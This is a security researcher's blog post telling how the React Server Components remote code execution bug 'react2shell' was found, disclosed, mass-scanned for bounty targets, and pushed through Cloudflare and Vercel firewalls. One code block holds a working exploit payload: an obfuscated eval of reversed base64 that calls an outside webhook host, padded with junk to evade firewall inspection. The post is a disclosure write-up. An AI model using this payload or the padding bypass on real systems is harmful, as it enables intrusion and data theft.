The React2Shell Story and What Happened Next.js

Fri, 08 May 2026 08:22:06 -0400

On December 3rd 2025, Meta disclosed CVE-2025-55182 which we dubbed react2shell, an unauthenticated RCE in React Server Components. In short, the Flight protocol failed to properly validate types, allowing the construction of arbitrary chunks and access to object prototypes (and therefore the functions on them). Several very well-written technical breakdowns of the vulnerable Flight code have already been made, most notably by Lachlan Davidson, my research partner in this. I’ve been asked by a handful of friends when I’m going to post my own technical writeup, and while I feel as though writing one would be rather redundant at this point, I do think the story of how exactly we stumbled across this and what happened afterwards is worth telling.

Before starting, I’d like to note that Lachlan and I were in very different time zones, I was in GMT-7 to his GMT+13, so our dates and times will be offset from each other by 20 hours.

Monday - The Saga Begins

This all began for me in late November when Lachlan, a friend I met through robotics back in 2019, noticed something curious and asked about it in a small group chat we’re both in.

This problem felt like it could be a fun javascript jail challenge, so I took interest and spent the evening hunting for anything that could be of interest.

Initially, we only had access to the primitive types made available by Flight, those being String, Number, Array, Map, Date, BigInt, Object, and Function.

The gadgets we had access to at the time only allowed us to call a single function we had the ability to reference with a single argument. With this, it was pretty easy to do something like Object.constructor.constructor("console.log('meow')"), to build an arbitrary function object, but with no ability to access the result, the function remained un-called and useless.

While Lachlan originally noticed this behavior in the way the CMS platforms used React, it quickly became obvious that the same sort of primitives existed in React itself.

I spent the rest of the evening exploring the problem from a Node REPL to get a better feel for what we were dealing with.

At this point, none of us really thought this would get anywhere. There were many comments, between Lachlan, myself, and the others in the group chat, mostly along the lines of “lol wouldn’t it be crazy if we found an RCE in React”.

It was something within the realm of possibility, but we figured that if this was actually vulnerable, someone would have probably found it already. Despite this, both Lachlan and I agreed that the behavior in React was clearly quite poorly considered, even if it wasn’t directly vulnerable, so we kept looking anyways.

I kept poking at this problem with Lachlan over the next few days. We made slow and incremental progress, but didn’t make any real breakthroughs.

Thursday - This is Maybe Getting Serious

At a certain point, we realized that with a non-zero chance of discovering something truly catastrophic, we should probably stop talking about any further work in a place with more than just us, so we moved to DMs. We had both become convinced that there was certainly some way to get RCE here; it was just a matter of figuring out how.

From here, I decided to join Lachlan in looking at NextJS’s implementation specifically, because of several widely-used React-based frameworks to pick from, it seemed to be the most useful to have a potential exploit working against. I used the default Next project as a base to work off of.

One of the things Lachlan discovered and shared with me was the ability to access certain imports and bind arguments to them.

The issue with this, however, was that Webpack seemed to give us very little we could actually import that might be of use. I spent a few hours going through the default server configuration, looking for imports that could possibly contain something useful, to little success.

By around 4:30 in the morning, I was on the verge of passing out at my desk, so I called it a night.

I woke up the next afternoon with nothing else on my schedule, aside from the Thanksgiving dinner party I was supposed to spend the entire evening at. As should be entirely predictable to anyone who knows me, I spent the vast majority of that dinner party on my phone reading Node source and documentation, specifically looking at the module module.

After getting home from dinner, I immediately went back to my desk and resumed my search.

It was at this point trivial to execute JS from disk, if only it were possible to get it there. I focused my energy on attempting to force some bespoke file upload to work, while Lachlan explored other avenues.

I ended up going to bed around 2:30am that night. At around 5am my time, Lachlan messaged that he’d done it.

Friday - Panic

At this point, I’d spent around 36 hours actively working on this, and by his estimation, Lachlan had spent well over a hundred. Despite how it might have seemed, the hard part was far from over.

Neither of us being stupid, we both immediately realized that we were sitting on what was effectively a nuclear bomb. Despite a fairly high level of trust and having been friends for over half a decade, both of us began moving quite defensively, unsure exactly what the other would do. I didn’t have the full RCE PoC at this point, but I was confident I could get there rather quickly.

We decided the best thing for both of us to do was to calm down get some sleep. After both of us came back to our senses, we decided it wise to get a signed, on-paper agreement between the two of us to ease the anxiety of anticipating the other’s plans. The general terms were that Lachlan would disclose the vulnerability to Meta, that we’d both share any current or future relevant PoCs with each other, and that neither of us would disclose any information that would help anyone arrive at the PoC with anyone else without mutual agreement. At this point, we also went back and archived and then purged all of our messages from the server where we were discussing this initially; several of the Discord screenshots earlier in this post were reconstructed from said archive.

Saturday - Disclosure

Shortly after making the disclosure to Meta, we began work on preparing for what was sure to be an extremely hectic public disclosure. A bug of this scale would be exploitable and in-scope on many third-party bug bounty programs, but it goes without saying that we needed to wait for the CVE to be public and give people time to patch before submitting to any of them. Obviously wanting to take advantage of the (presumably :p) once-in-a-lifetime opportunity, we realized we had the next few days to refine the PoC, perform passive recon of vulnerable targets with bug bounty programs, and come up with an actual plan for how to submit them.

I also thought it would be funny to post a hash of our PoC on Twitter ahead of time:

With Lachlan mostly occupied in discussions with Meta and Vercel I took the lead on reconnaissance, with two main goals, those being to (1) identify as many relevant and interesting bug bounty programs as possible, and (2) get a general sense for how much of the internet was vulnerable.

I began working on both of these tasks in parallel. I started by building a backend to manage known, scanned, and vulnerable domains. I spun up a simple MariaDB instance to keep track of things and wrote code to interface with it in Golang. Both Lachlan and I are quite familiar with Go, and we agreed it would at worst be an acceptable choice for what we needed to do here.

The first iteration of my script was very rudimentary, but it did what it needed to while I worked to design something more complete. I found a list of 4 million domains, and simply iterated through all of them, looking for NextJS signatures in the HTTP response body. While this ran I worked on indexing HackerOne programs, doing an initial manual filter for if they were worth further attention. The main things I was looking for were a program’s policies on crit payouts, n-days until in-scope on vulns in third-party libraries, shared root causes (i.e. if multiple in-scope services are vulnerable), and domains in/out of scope.

This was a lot of information to sift through, and HackerOne doesn’t exactly make it easy to see it all in one place. Ultimately, I figured out that the easiest solution here was copy/pasting the entire program descriptions into an LLM, and asking it to give me structured data to my liking. I did this for about 30 programs on HackerOne, and then another dozen on BugCrowd that seemed potentially interesting.

Sunday - Recon

After it completed, my initial scan of those top 4 million domains seemed to suggest that ~2% of them were running some form of NextJS. Sadly, only major versions 15 and onward using the app router being vulnerable, so this number was a bit misleading. For once, being lazy and not updating did in fact save some people from being vulnerable. Regardless, this was very promising - as we expected, it seemed like a substantial portion of the public internet was using vulnerable Next. Hetzner, on the other hand, wasn’t quite as happy with my work.

I proceeded by apologizing to Hetzner, and then continued my abuse from my home IP instead of their precious datacenter 👍.

At this point, I also worked to change my scanning logic to be slightly more robust. Instead of using the default Golang HTTP client, instead I used a headless browser which got around some of the more basic anti-bot, which seems to be becoming extremely common as a result of mass-scraping being done for and by LLMs. Previously I was looking for a _next being present in the HTML source, whereas my new strategy waited for the site to fully load, then evaluated next.version in the console. This new strategy took a bit longer to check a site, but was more robust and also told us if the version was one of the vulnerable ones, or something we should ignore.

With a working system for scanning a site and a list of in/out of scope domains, the next thing to do was enumerate wildcard subdomains. I tried a bunch of services for this, and quite frankly they all sucked in some way or another, but the one that managed to suck the least ended up being Profundis, for which I bought the smallest tier of API credits. I wrote some logic to take the list in-scope domains and wildcards, query for subdomains, and then filter against the out-of-scope list and de-duplicate to give me a list of sites that could be fed into my scanner.

Tuesday - Preparation

After spending a day or two optimizing and tweaking my scanner, we got word from Meta that the advisory would be going out the next day at 7am pacific. I decided at this point the most appropriate thing to do would be to slap a simple frontend on my database of targets.

Obviously, the only correct thing to do here was ask Claude to build an admin interface with NextJS. It was a very simple task, and it managed to make something that did what it needed to in a few minutes.

Amusingly, without specific direction, the version of NextJS that Claude picked was 14.2.15, which was too old to be vulnerable. The admin dashboard supported the ability to add, remove, and edit information about various bounty programs, as well as enter domain scope details and dispatch passive subdomain scans and active vulnerability scans for discovered sites.

It didn’t add any functionality I hadn’t already created on the backend in the previous few days, but having the UI made interacting with the data significantly less of a pain.

Wednesday - Zero Day

Finally, after over a week of getting barely any sleep, the advisory for CVE-2025-55182 was published by Meta. I took the opportunity to reveal the first of the hashes I posted on Twitter several days before.

After having that little bit of fun, Lachlan and I started attempting to run our exploit on the targets we’d identified. We got a couple of them immediately, but we very quickly realized that WAF providers like Cloudflare were identifying and blocking our PoC.

I pretty quickly managed to build a modified version of the PoC that evaded some naive custom(?) rules used by some sites by sticking the payload inside an eval(atob(<b64>)). Frustratingly, though, Cloudflare’s regex seemed (at first) fairly robust, blocking the :constructor" syntax needed to access the function constructor. While incredibly frustrating, we did anticipate this would be an issue, given that Meta and Vercel had done an admirable job working with Cloudflare and other WAF vendors prior to public disclosure for precisely this reason. As an aside, it seemed as if the Cloudflare Workers platform running otherwise-vulnerable versions of NextJS weren’t actually exploitable due to the JS runtime lacking Function in the first place. We were informed that Vercel-hosted sites had something similar protecting them, but this later turned out not to be the case.

After very quickly running out of non-Cloudflare/Vercel sites to pwn, Lachlan and I spent the rest of the afternoon working building a payload that didn’t trip the WAF. Our initial efforts were focused mostly on finding an alternative method for accessing the Function constructor, and we spent probably 10 or so hours working on it without much success.

In the midst of all this, someone published a fake PoC that gained significant attention on Twitter. I was about to start driving home from getting lunch when I saw a notification about it and immediately freaked out. Once I got home and actually read the code being touted as a PoC I found it incredibly amusing, but it did actually end up becoming something of a pain in the ass. Several sites with actual reputation began reporting it as real (presumably without checking), and scanner tools began popping up that incorrectly claimed sites were safe.

With Lachlan distracted dealing with the fallout of the fake PoC and myself being quite frustrated with my inability to bypass the Cloudflare WAF, I took a step back and considered other options. We’d been approaching it as a JavaScript jail, and I thought perhaps looking from a more traditional WAF bypass perspective would be beneficial. I remembered a discussion I had with Lachlan and a few others earlier in the year about how by default, many WAFs would stop scanning after a certain body size.

It’s worth mentioning here that to protect against DoS attacks, NextJS limits request body sizes to 1MB by default, requiring specific configurations to change that. I thought that perhaps I could add junk data to the request to get past the free tier firewall size of 128KB.

The first thing I tried was adding a dummy multipart/form-data body 900 megabytes long before the important ones, but the firewall still seemed to block it. I then tried something slighly more sneaky, adding the dummy bytes inside the Flight object structure, before the offending text like this:

const payload = {
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': "eval(atob('==QK9lSfl1WYu5yczV2YvJHcuwWYi9GbnBiOl1WYuBCLpYnbl5yczV2YvJHcuwWYi9GbnhSeml2Zulmc0NnLO90UKBiO25WZ7hSeml2Zulmc0NnLO90UKBiO5R2biBCLnQ1UPB1JgoDZvhGdl12egwyJ39WZtd3bl12dvVWb39WZtd3bl12LlRXaz5yav9GaiV2dv8iOzBHd0h2Jog2Y0VmZ'.split('').reverse().join('')))//",
        '_formData': {
            'meow': 'meow'.repeat( 256 * 512 ),
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks',
    }
}

This added about ~500KB of nonsense in the form body before the :constructor showed up. I was ecstatic upon testing this against a free tier Cloudflare site I set up and seeing that it did, in fact, get through the firewall and fire the exploit. Testing against various (presumably) enterprise targets, I was surprised to notice that while the required threshold of junk was different for some of them, for all of them it was still well under the megabyte limit.

With a working Cloudflare bypass in hand, Lachlan and I were able to submit reports to several more interesting targets that night before going to bed. Before sleeping (but not before submitting a handful of reports :p), I wrote up my findings and had Lachlan forward them on to a contact at Cloudflare via the private channel he’d been invited to.

Thursday - Public PoC

Alas, all good things must come to an end, including our time as the only people with a non-NDA’d react2shell PoC. It took about 30 hours from initial disclosure, which to be fair was more than I expected, but that afternoon the first (afaik) PoC other than ours was published by fellow CTF player maple3142.

This marked the end of our time as being the only ones with an advantage reporting to bug bounty programs, but did come as something of a relief to no longer be wondering when it would happen. As an aside, I’m pretty sure that Amazon’s published WAF rules made this happen much sooner than it would have otherwise. Multiple people I know who were working alongside Maple claimed to me that seeing the WAF rules gave them a big clue as to what was needed to make the exploit work that would problably have taken them much longer to find otherwise.

Interestingly, around the same time as this happened, I noticed by accident testing against a site I didn’t realize was hosted on Vercel that their alleged “platform mitigations” seemed entirely nonexistent. They had a firewall that I got around with a JS trick much more neatly than Cloudflare’s, but once past it the exploit just worked, despite the statements made by Vercel staff both to us and publicly. Given what’s to come, I also feel it worth mentioning that Vercel, while certainly making a significant effort to respond to the situation intelligently, did at times seem to make… irresponsible at best statements like this one.

The CEO of Vercel also claimed on several occasions that their firewall was completely protecting vulnerable sites hosted on their platform, which was obviously not the case.

Friday - Vercel Platform Protection

In what ended up being responsible for the vast majority of the bounty money I ended up getting from this, Vercel, to their credit, did in fact put their money where their mouth was, and began offering $50k per unique bypass to their WAF on HackerOne.

We would have gotten the flag immediately after this program went live with our first bypass, but in an amusing turn of events, Vercel forgot to actually put the flag in the env, which delayed things a little bit. At this point, Lachlan and I redirected basically all of our energy into working on this, rather than fruitlessly hunting down other bounty programs.

It took pretty much all night, but after about 12 hours of work we managed to construct a new bypass that relied on default Turbopack imports in order to access path.join to concatenate the offending string without including it literally.

After getting the first two, we took a step back to get a better sense of what the actual attack surface here was. We inferred pretty quickly that the Vercel WAF was probably built with Coraza. We declined to hunt for Coraza-specific bugs at this point because we figured that we had an advantage with anything that relied on abusing Flight because we knew its internals much better than most others, whereas with other things we were approaching it with the same level of experience as the countless other people also chasing the bounty.

One of the funniest things we found during our search, which didn’t end up helping us but was very funny regardless, was the fact that busboy, which claims to support base64-encoded multipart form bodies, in fact encodes the body as base64 before returning it, instead of decoding it, and the maintainer doesn’t seem to understand what the problem with that is.

Vercel ended up paying out for 23 unique bypasses, five of which belonged to Lachlan and myself.

I’m speculating when I say this, but I suspect that Vercel somewhat overestimated how hard it would be to find ways around their firewall, and somewhat underestimated quite how many capable researchers are willing to devote an unhealthy amount of attention to something when 50 grand is dangled in front of their faces. Regardless, I’m quite, quite happy with the result, and I’m pleasantly surprised that Vercel stuck by their word and (to my knowledge) paid out everyone they owed.

Both because Vercel hasn’t made the HackerOne reports public and also because I may be inclined to write this into a CTF challenge down the line I’m not going to disclose the exact PoCs we used, but since Vercel did make a post about some of them, I can at least mention some general details. Our five bypasses were:

A parsing bug, where the firewall regex cared about something JavaScript didn’t
String concatenation by importing path.join
Recursive JSON decoding
Recursive JSON decoding but two levels deeper (lmao)
Abusing Error.toString to get a free concatenation with : as a separator

In retrospect, we likely could have gotten a few more early on had we gone for the low-hanging fruit bypasses that tend to afflict WAFs in general, rather than JavaScript-based things highly specific to Flight. There were at least a handful of close misses where if one small thing about JavaScript was different it would let us win that I wasted far too much time on. A few of these included String.normalize using NFC by default (which would have worked if constructor had a K in it), String.join having a default argument of ,, BigInt.toString having a default radix of 10, and various functions like bind and apply only working if the LHS is an actual real function object.

The Vercel WAF challenge lasted about a week, and we made our submissions up until the second to last day. By the time it ended, things had mostly calmed down elsewhere as well.

Afterword

All in all, these couple weeks were some of the most exhilarating I’ve experienced, and I learned quite a bit throughout. I’m incredibly thankful to Lachlan for considering me someone worth asking about this in the first place, and to all of our other friends who helped along the way. Part of me feels like finding a 10.0 in React when I’m 20 is gonna be a hard act to follow, but I’m excited for what comes next all the same.

Sylvie

React2shell on sylvie